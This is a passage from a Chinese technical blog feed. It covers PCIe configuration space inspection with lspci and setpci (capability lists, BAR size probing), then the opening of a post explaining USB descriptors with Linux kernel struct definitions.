&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;lspci-vvv-capabilities.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
红色框框中的第一列对应具体的偏移，第二列对应的是设备的capability id, 第三列对应的是next capability id的偏移。&lt;&#x2F;p&gt;
&lt;p&gt;所以40: 0d 48 ===&amp;gt; 表示偏移0x40的位置的capability id是0xd（SSVID); 它指向的下一个capability位于0x48处，偏移0x48的位置的capability id是0x1(即power management); 它指向的下一个capabity位于0x50处，偏移0x50的位置的capability id是0x10(MSI);它指向的下一个capability位于0x8c处, 偏移0x8c的位置的capability id为0x0, 查找结束。&lt;&#x2F;p&gt;
&lt;p&gt;得到的结果是可以与lspci的结果对应的：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] lspci -s 00:18.0 -vvv 输出（VMware PCI Express Root Port）：Control 为 I&#x2F;O+ Mem+ BusMaster+，中断引脚路由 IRQ 48；内存窗口 fd100000-fd1fffff；Capabilities：[40] Subsystem、[48] Power Management v3、[50] Express (v2) Root Port（MaxPayload 128）；LnkCap：5GT&#x2F;s、x32、ASPM L0s。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;setpci&quot;&gt;setpci&lt;&#x2F;h4&gt;
&lt;p&gt;可以用setpci命令修改配置空间&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;setpci -s 00:00.0 0x地址.L=0x值        --修改设备地址的数值，一次修改4个字节
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;举个例子， 上面有提到往pci设备的BAR寄存器写全1可以计算BAR空间的大小需求&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;[root@localhost ~]# lspci -s 02:01.0 -x
02:01.0 Ethernet controller: Intel Corporation 82545EM Gigabit Ethernet Controller (Copper) (rev 01)
00: 86 80 0f 10 17 01 30 02 01 00 00 02 10 00 00 00
10: 04 00 5c fd 00 00 00 00 04 00 ff fd 00 00 00 00
20: 01 20 00 00 00 00 00 00 00 00 00 00 ad 15 50 07
30: 00 00 00 00 dc 00 00 00 00 00 00 00 07 01 ff 00
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;网卡设备的pci配置头空间如上所示， 通过setpci --dumpregs可以查看寄存器偏移&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;[root@localhost ~]# setpci --dumpregs
cap pos w name
     00 W VENDOR_ID
     02 W DEVICE_ID
     04 W COMMAND
     06 W STATUS
     08 B REVISION
     09 B CLASS_PROG
     0a W CLASS_DEVICE
     0c B CACHE_LINE_SIZE
     0d B LATENCY_TIMER
     0e B HEADER_TYPE
     0f B BIST
     10 L BASE_ADDRESS_0
     14 L BASE_ADDRESS_1
     18 L BASE_ADDRESS_2
     1c L BASE_ADDRESS_3
     20 L BASE_ADDRESS_4
     24 L BASE_ADDRESS_5
	......
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;BAR0的偏移是0x10, 通过setpci命令写该地址全F
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;setpci-bar0-size-probe.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
刚开始的BAR0的值为fd5c0004, 写过全F后，BAR0的值为fffe0004
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;setpci-bar0-size-detection.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
最低位可写入的bit是18（低4bit不算bar地址，是特殊标记）
所以该BAR的空间大小是2^18 = 256K.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-tree-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-switch-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;lspci-tv-bus-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-config-space-layout.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pci-config-space-type0-type1.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pci-command-register-bits.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] PCI 配置空间 Command 寄存器（16 位）位定义图：bit15 保留；bit10 禁用中断；bit9 快速背靠背允许（PCI 专用，Express 不用）；bit8 SERR# 允许；bit7 步长控制（PCI 专用）；bit6 奇偶校验错误响应；bit5 VGA 调色板侦测（PCI 专用）；bit4 存储器写并失效（PCI 专用）；bit3 特殊循环（PCI 专用）；bit2 总线主控；bit1 存储器空间允许；bit0 I&#x2F;O 空间允许。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-config-bar-registers.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-bar0-read-value.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-bar-size-probing.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pci-capability-linked-list.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-ecam-address-map.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;ecam-mcfg-address-mapping.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;lspci-tv-device-tree.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;lspci-device-detail-info.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;lspci-config-space-hexdump.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;lspci-vvv-capabilities.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] lspci -s 00:18.0 -vvv 输出（VMware PCI Express Root Port）：Control 为 I&#x2F;O+ Mem+ BusMaster+，中断引脚路由 IRQ 48；内存窗口 fd100000-fd1fffff；Capabilities：[40] Subsystem、[48] Power Management v3、[50] Express (v2) Root Port（MaxPayload 128）；LnkCap：5GT&#x2F;s、x32、ASPM L0s。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;setpci-bar0-size-probe.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;setpci-bar0-size-detection.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>USB 协议核心概念与实践</title>
        <published>2025-01-12T00:00:00+00:00</published>
        <updated>2025-01-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/usb-协议核心概念与实践/"/>
        <id>https://vercel.juzhong.asia/obsidian/usb-协议核心概念与实践/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/usb-协议核心概念与实践/">&lt;h1 id=&quot;usb-xie-yi-he-xin-gai-nian-yu-shi-jian&quot;&gt;USB 协议核心概念与实践&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#usb-101&quot;&gt;USB 101&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E6%8F%8F%E8%BF%B0%E7%AC%A6&quot;&gt;描述符&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E8%AE%BE%E5%A4%87%E6%8F%8F%E8%BF%B0&quot;&gt;设备描述&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E9%85%8D%E7%BD%AE%E6%8F%8F%E8%BF%B0&quot;&gt;配置描述&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E6%8E%A5%E5%8F%A3%E6%8F%8F%E8%BF%B0&quot;&gt;接口描述&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E7%AB%AF%E7%82%B9%E6%8F%8F%E8%BF%B0&quot;&gt;端点描述&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%8F%8F%E8%BF%B0&quot;&gt;字符串描述&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E4%BC%A0%E8%BE%93&quot;&gt;传输&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#usb-packet&quot;&gt;USB Packet&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#transfer&quot;&gt;Transfer&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E4%B8%BB%E6%9C%BA%E7%AB%AF&quot;&gt;主机端&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E6%8A%93%E5%8C%85%E5%88%86%E6%9E%90&quot;&gt;抓包分析&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&quot;&gt;应用开发&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E8%AE%BE%E5%A4%87%E7%AB%AF&quot;&gt;设备端&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E5%86%85%E6%A0%B8%E9%A9%B1%E5%8A%A8&quot;&gt;内核驱动&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#gadgetfsconfigfs&quot;&gt;GadgetFS&#x2F;ConfigFS&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#functionfs&quot;&gt;FunctionFS&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E6%A1%88%E4%BE%8B%E5%88%86%E6%9E%90-checkm8-%E6%BC%8F%E6%B4%9E&quot;&gt;案例分析: checkm8 漏洞&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E5%90%8E%E8%AE%B0&quot;&gt;后记&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;evilpan.com&#x2F;2021&#x2F;01&#x2F;24&#x2F;usb-fun&#x2F;#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99&quot;&gt;参考资料&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;USB，全称是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;USB&quot;&gt;Universal Serial Bus&lt;&#x2F;a&gt;，即通用串行总线，既是一个针对电缆和连接器的工业标准，也指代其中使用的连接协议。本文不会过多介绍标准中的细节，而是从软件工程师的角度出发，介绍一些重要的基本概念，以及实际的主机和从机应用。最后作为实际案例，从 USB 协议实现的角度分析了&lt;code&gt;checkm8&lt;&#x2F;code&gt;漏洞的成因。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;usb-101&quot;&gt;USB 101&lt;&#x2F;h2&gt;
&lt;p&gt;首先要明确的一点，USB 协议是以主机为中心的 (Host Centric)，也就是说只有主机端向设备端请求数据后，设备端才能向主机发送数据。从数据的角度来看，开发者最直接接触的就是端点 (Endpoint)，端点可以看做是数据收发的管道。&lt;&#x2F;p&gt;
&lt;p&gt;当主机给设备发送数据时，通常流程是:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;调用用户层 API，如 &lt;code&gt;libusb_bulk_transfer&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;对内核的 USB 驱动执行对应系统调用，添加发送队列，如 &lt;code&gt;ioctl(IOCTL_USBFS_SUBMITURB)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;内核驱动中通过 HCI 接口向 USB 设备发送请求+数据&lt;&#x2F;li&gt;
&lt;li&gt;数据发送到设备端的 Controller -&amp;gt; HCI -&amp;gt; Host&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;设备给主机发送请求也是类似，只不过由于是主机中心，发送的数据会保存在缓存中，等待主机发送 IN TOKEN 之后才真正发送到主机。在介绍数据发送流程之前，我们先来看下描述符。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;miao-shu-fu&quot;&gt;描述符&lt;&#x2F;h2&gt;
&lt;p&gt;所有的 USB 设备端设备，都使用一系列层级的描述符 (Descriptors) 来向主机描述自身信息。这些描述符包括:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Device Descriptors&lt;&#x2F;strong&gt;: 设备描述&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Configuration Descriptors&lt;&#x2F;strong&gt;: 配置描述&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Interface Descriptors&lt;&#x2F;strong&gt;: 接口描述&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Endpoint Descriptors&lt;&#x2F;strong&gt;: 端点描述&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;String Descriptors&lt;&#x2F;strong&gt;: 字符串描述&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;它们之间的层级结构关系如下:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;usb-protocol&#x2F;usb-descriptor-hierarchy.png&quot; alt=&quot;des.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;每种描述符都有对应的数据结构，定义在标准中的第九章，俗称 ch9。下面以 Linux 内核的实现为例来简要介绍各个描述符，主要参考头文件 &lt;strong&gt;include&#x2F;uapi&#x2F;linux&#x2F;usb&#x2F;ch9.h&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;she-bei-miao-shu&quot;&gt;设备描述&lt;&#x2F;h3&gt;
&lt;p&gt;每个 USB 设备只能有一个设备描述(Device Descriptor)，该描述符中包括了设备的 USB 版本、厂商、产品 ID 以及包含的配置描述符个数等信息，如下所示:&lt;&#x2F;p&gt;
&lt;p&gt;c&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* USB_DT_DEVICE: Device descriptor *&amp;#x2F;
struct usb_device_descriptor {
	__u8  bLength; &amp;#x2F;&amp;#x2F; 18 字节
	__u8  bDescriptorType; &amp;#x2F;&amp;#x2F; 0x01

	__le16 bcdUSB; &amp;#x2F;&amp;#x2F; 设备所依从的 USB 版本号
	__u8  bDeviceClass; &amp;#x2F;&amp;#x2F; 设备类型
	__u8  bDeviceSubClass; &amp;#x2F;&amp;#x2F; 设备子类型
	__u8  bDeviceProtocol; &amp;#x2F;&amp;#x2F; 设备协议
	__u8  bMaxPacketSize0; &amp;#x2F;&amp;#x2F; ep0 的最大包长度，有效值为 8，6，32，64
	__le16 idVendor; &amp;#x2F;&amp;#x2F; 厂商号
	__le16 idProduct; &amp;#x2F;&amp;#x2F; 产品号
	__le16 bcdDevice; &amp;#x2F;&amp;#x2F; 设备版本号
	__u8  iManufacturer; &amp;#x2F;&amp;#x2F; 产商字名称
	__u8  iProduct; &amp;#x2F;&amp;#x2F; 产品名称
	__u8  iSerialNumber; &amp;#x2F;&amp;#x2F; 序列号
	__u8  bNumConfigurations; &amp;#x2F;&amp;#x2F; 配置描述符的个数
} __attribute__ ((packed));

#define USB_DT_DEVICE_SIZE		18
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每个字段的含义都写在注释中了，其中有几点值得一提。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;设备类型、子类型和协议码，是由 USB 组织定义的；&lt;&#x2F;li&gt;
&lt;li&gt;产商号也是由 USB 组织定义的，但是产品号可以由厂商自行定义；&lt;&#x2F;li&gt;
&lt;li&gt;厂商、产品和序列号分别只有 1 字节，表示在字符串描述符中的索引；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;BCD: binary­ coded decimal&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;pei-zhi-miao-shu&quot;&gt;配置描述&lt;&#x2F;h3&gt;
&lt;p&gt;每种不同的配置描述(Configuration Descriptor)中分别指定了 USB 设备所支持的配置，如功率等信息；一个 USB 设备可以包含多个配置，但同一时间只能有一个配置是激活状态。实际上大部分的 USB 设备都只包含一个配置描述符。&lt;&#x2F;p&gt;
&lt;p&gt;c&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* USB_DT_CONFIG: Configuration descriptor information.
 *
 * USB_DT_OTHER_SPEED_CONFIG is the same descriptor, except that the
 * descriptor type is different.  Highspeed-capable devices can look
 * different depending on what speed they&amp;#x27;re currently running.  Only
 * devices with a USB_DT_DEVICE_QUALIFIER have any OTHER_SPEED_CONFIG
 * descriptors.
 *&amp;#x2F;
struct usb_config_descriptor {
	__u8  bLength; &amp;#x2F;&amp;#x2F; 9
	__u8  bDescriptorType; &amp;#x2F;&amp;#x2F; 0x02

	__le16 wTotalLength; &amp;#x2F;&amp;#x2F; 返回数据的总长度
	__u8  bNumInterfaces; &amp;#x2F;&amp;#x2F; 接口描述符的个数
	__u8  bConfigurationValue; &amp;#x2F;&amp;#x2F; 当前配置描述符的值 (用来选择该配置)
	__u8  iConfiguration; &amp;#x2F;&amp;#x2F; 该配置的字符串信息 (在字符串描述符中的索引)
	__u8  bmAttributes; &amp;#x2F;&amp;#x2F; 属性信息
	__u8  bMaxPower; &amp;#x2F;&amp;#x2F; 最大功耗，以 2mA 为单位
} __attribute__ ((packed));

#define USB_DT_CONFIG_SIZE		9
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当主设备读取配置描述的时候，从设备会返回该配置下所有的其他描述符，如接口、端点和字符串描述符，因此需要 &lt;strong&gt;wTotalLength&lt;&#x2F;strong&gt; 来表示返回数据的总长度。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;bmAttributes&lt;&#x2F;strong&gt; 指定了该配置的电源参数信息，D6 表示是否为自电源驱动；D5 表示是否支持远程唤醒；D7 在 USB1.0 中曾用于表示是否为总线供电的设备，但是在 USB2.0 中被&lt;strong&gt;bMaxPower&lt;&#x2F;strong&gt; 字段取代了，该字段表示设备从总线上消耗的电压最大值，以 2mA 为单位，因此最大电流大约是 &lt;code&gt;0xff * 2mA = 510mA&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jie-kou-miao-shu&quot;&gt;接口描述&lt;&#x2F;h3&gt;
&lt;p&gt;一个配置下有多个接口，可以看成是一组相似功能的端点的集合，每个接口描述符的结构如下:&lt;&#x2F;p&gt;
&lt;p&gt;c&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* USB_DT_INTERFACE: Interface descriptor *&amp;#x2F;
struct usb_interface_descriptor {
	__u8  bLength;
	__u8  bDescriptorType; &amp;#x2F;&amp;#x2F; 0x04

	__u8  bInterfaceNumber; &amp;#x2F;&amp;#x2F; 接口序号
	__u8  bAlternateSetting;
	__u8  bNumEndpoints;
	__u8  bInterfaceClass;
	__u8  bInterfaceSubClass;
	__u8  bInterfaceProtocol;
	__u8  iInterface; &amp;#x2F;&amp;#x2F; 接口的字符串描述，同上
} __attribute__ ((packed));

#define USB_DT_INTERFACE_SIZE		9
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中接口类型、子类型和协议与前面遇到的类似，都是由 USB 组织定义的。在 Linux 内核中，每个接口封装成一个高层级的功能，即逻辑链接(Logical Connection)，例如对 USB 摄像头而言，接口可以分为视频流、音频流和键盘(摄像头上的控制按键)等。&lt;&#x2F;p&gt;
&lt;p&gt;还有值得一提的是 &lt;strong&gt;bAlternateSetting&lt;&#x2F;strong&gt;，每个 USB 接口都可以有不同的参数设置，例如对于音频接口可以有不同的带宽设置。实际上 Alternate Settings 就是用来控制周期性的端点参数的，比如 isochronous endpoint。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;duan-dian-miao-shu&quot;&gt;端点描述&lt;&#x2F;h3&gt;
&lt;p&gt;端点描述符用来描述除了零端点(ep0)之外的其他端点，零端点总是被假定为控制端点，并且在开始请求任意描述符之前就已经被配置好了。端点(Endpoint)，可以认为是一个单向数据信道的抽象，因此端点描述符中包括传输的速率和带宽等信息，如下所示:&lt;&#x2F;p&gt;
&lt;p&gt;c&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* USB_DT_ENDPOINT: Endpoint descriptor *&amp;#x2F;
struct usb_endpoint_descriptor {
	__u8  bLength;
	__u8  bDescriptorType; &amp;#x2F;&amp;#x2F; 0x05

	__u8  bEndpointAddress; &amp;#x2F;&amp;#x2F; 端点地址
	__u8  bmAttributes;	&amp;#x2F;&amp;#x2F; 端点属性
	__le16 wMaxPacketSize; &amp;#x2F;&amp;#x2F; 该端点收发的最大包大小
	__u8  bInterval; &amp;#x2F;&amp;#x2F; 轮询间隔，只对 Isochronous 和 interrupt 传输类型的端点有效 (见下)

	&amp;#x2F;* NOTE:  these two are _only_ in audio endpoints. *&amp;#x2F;
	&amp;#x2F;* use USB_DT_ENDPOINT*_SIZE in bLength, not sizeof. *&amp;#x2F;
	__u8  bRefresh;
	__u8  bSynchAddress;
} __attribute__ ((packed));

#define USB_DT_ENDPOINT_SIZE		7
#define USB_DT_ENDPOINT_AUDIO_SIZE	9	&amp;#x2F;* Audio extension *&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;bEndpointAddress&lt;&#x2F;strong&gt; 8位数据分别代表:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Bit 0-3: 端点号&lt;&#x2F;li&gt;
&lt;li&gt;Bit 4-6: 保留，值为0&lt;&#x2F;li&gt;
&lt;li&gt;Bit 7: 数据方向，0 为 OUT，1 为 IN&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;bmAttributes&lt;&#x2F;strong&gt; 8位数据分别代表:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Bit 0-1: 传输类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;00: Control&lt;&#x2F;li&gt;
&lt;li&gt;01: Isochronous&lt;&#x2F;li&gt;
&lt;li&gt;10: Bulk&lt;&#x2F;li&gt;
